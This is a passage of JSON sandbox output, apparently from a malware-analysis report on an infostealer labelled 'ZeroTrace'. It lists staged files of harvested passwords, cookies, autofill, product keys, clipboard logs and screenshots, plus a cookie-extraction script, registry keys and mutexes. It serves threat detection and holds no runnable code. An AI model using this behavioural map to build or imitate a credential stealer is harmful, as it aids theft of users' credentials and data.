7EC63BDA74BD0D0E0426DC8F8008506","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%APPDATA%\\Finder-Latest.log","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%LOCALAPPDATA%\\5059e175c69532982c361ef2eff5467a\\logs\\clipboard\\2025-09-17\\clipboard_logs.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\explorer.exe.log","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\system_info.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\ChromeV20Passwords.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\GetAllPasswords.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\GetAutofill.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\GetExtensionsView.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\ProductKeys.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\GetBookmarks.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\GetWorkingTasks.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\GetDefenderLogs.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\GetBrowserHistory.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\GetInstalledApps.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\GetFirefoxCookies.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\GetAlternativeEdgeCookies.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\AdapterWatch.html","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\Screenshots\\screenshot_20250917_150925.png","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\Documents\\credentials.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\ZeroTrace_5ff9e131\\Documents\\notes.txt","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\CookieExtractor_b22e4547\\cookieextract.ps1","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_oofwsqpb.lpk.ps1","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_dxmsqjud.5xo.psm1","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"path":"%TEMP%\\nstEB.tmp","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"path":"%TEMP%\\nst1F63.tmp","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3E5B5DE4-FF35-41F4-9FED-133716DECFE9}","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"path":"%TEMP%\\nsg1890.tmp","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"path":"%TEMP%\\nsl3505.tmp","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{7C91079A-D2D9-4720-9655-D35D78539873}","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"path":"%TEMP%\\ZeroTrace_1765a03c\\GetBrowserHistory.txt","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"path":"%TEMP%\\ZeroTrace_1765a03c\\Documents\\credentials.txt","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"path":"%TEMP%\\nsbEE09.tmp","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\nskF972.tmp","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%APPDATA%\\explorcr.exe","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\system_info.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E122B924-B4ED-4437-BC94-A96B6AA901B6}","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\ChromeV20Passwords.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\GetAllPasswords.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\GetAutofill.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\GetExtensionsView.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\ProductKeys.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\GetBookmarks.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\GetWorkingTasks.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\GetDefenderLogs.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\GetBrowserHistory.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\GetInstalledApps.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\GetFirefoxCookies.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\GetAlternativeEdgeCookies.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\AdapterWatch.html","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\Screenshots\\screenshot_20250917_151810.png","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\Documents\\credentials.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\ZeroTrace_103b7777\\Documents\\notes.txt","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%TEMP%\\CookieExtractor_72a2f806\\cookieextract.ps1","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\DELEGATEFOLDERS\\\\","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7048:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7048:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7048:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\SM0:7048:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"Local\\SM0:7048:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"SM0:7048:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5868:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5868:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5868:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"Local\\SM0:5868:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"Local\\SM0:5868:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"SM0:5868:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\JFzh7T3IVmmNgIKK","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6668:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6668:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6668:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6668:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"SM0:6668:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"Local\\SM0:6668:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"SM0:6668:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"Local\\SM0:6668:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"JFzh7T3IVmmNgIKK","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6308:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6308:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6308:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Vn3eJ/DZiPye3sD5DMNNiW2+bWvgEoF0jzyMuEcozxdVSN/PU+hyAPlbs24/dG+JmUEBYOSwt6GWpbBqysQd5nUpVvZ4+gNvZItkmfUgDh0=","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\SM0:6308:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"SM0:6308:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"Vn3eJ/DZiPye3sD5DMNNiW2+bWvgEoF0jzyMuEcozxdVSN/PU+hyAPlbs24/dG+JmUEBYOSwt6GWpbBqysQd5nUpVvZ4+gNvZItkmfUgDh0=","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"SM0:6308:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"Local\\SM0:7364:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"A+t7i4taRwIoEsz2qg/rCDxAD/0PWmmhTxg+ejbSFuTqgjfdXzCSOWx/dgX59qG2vPQM5y6Gz396gD6fxAseT4yZo0iQXhGgOcScTa2j854=","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"SM0:7364:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"SM0:7364:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7364:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7364:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7364:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\A+t7i4taRwIoEsz2qg/rCDxAD/0PWmmhTxg+ejbSFuTqgjfdXzCSOWx/dgX59qG2vPQM5y6Gz396gD6fxAseT4yZo0iQXhGgOcScTa2j854=","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"},{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"},{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"},{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5992:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5992:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"Local\\SM0:5992:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"SM0:5992:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7948:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"68cac8435302a3c1230ccc78"}]},{"name":"eed3bd3a-a1ad-4e99-987b-d7cb3fcfa7f0 - S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\eed3bd3a-a1ad-4e99-987b-d7cb3fcfa7f0 - S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"68cac876f2ef74272c039e20"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"699d0f53bb3410383f0710a3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7516:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7516:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7516:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\SM0:7516:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\SM0:7516:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"SM0:7516:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3728:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3728:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3728:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\SM0:3728:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\SM0:3728:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"SM0:3728:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8732:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\SM0:8732:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\SM0:8732:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"SM0:8732:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8732:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8732:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\eed3bd3a-a1ad-4e99-987b-d7cb3fcfa7f0 - S-1-5-21-1271187874-1938232448-3812392235-1001","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\SM0:5424:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"Local\\SM0:5424:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"SM0:5424:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"68cac8304a3f6d2add08c129"}]},{"name":"eed3bd3a-a1ad-4e99-987b-d7cb3fcfa7f0 - 